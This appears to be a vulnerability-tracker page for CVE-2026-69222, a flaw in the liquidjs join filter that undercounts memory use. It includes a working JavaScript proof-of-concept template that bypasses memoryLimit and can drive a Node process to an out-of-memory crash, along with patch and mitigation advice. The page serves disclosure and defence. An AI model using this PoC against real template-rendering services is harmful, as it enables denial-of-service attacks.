CVE-2026-69222 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in liquidjs. A fix is available for liquidjs — see the affected versions and patch details below.
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-69222.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-69222 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 382,621 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
liquidjsnpmDescription
Summary
The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.
Details
// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
const array = toArray(v)
const sep = isNil(arg) ? ' ' : stringify(arg)
const complexity = array.length * (1 + sep.length) // element COUNT, not element sizes
this.context.memoryLimit.use(complexity)
return array.join(sep) // allocates sum(element lengths) + separators
})
concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.
Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.
PoC
Live-reproduced against [email protected], Node v24.3.0.
const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense
const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;
const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len); // output length: 40960000
Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.
Impact
Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | liquidjs | all versions | 10.27.2npm install liquidjs@10.27.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update liquidjs to 10.27.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-69222 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-69222 in your dependencies?
Find it across npm, including transitive dependencies.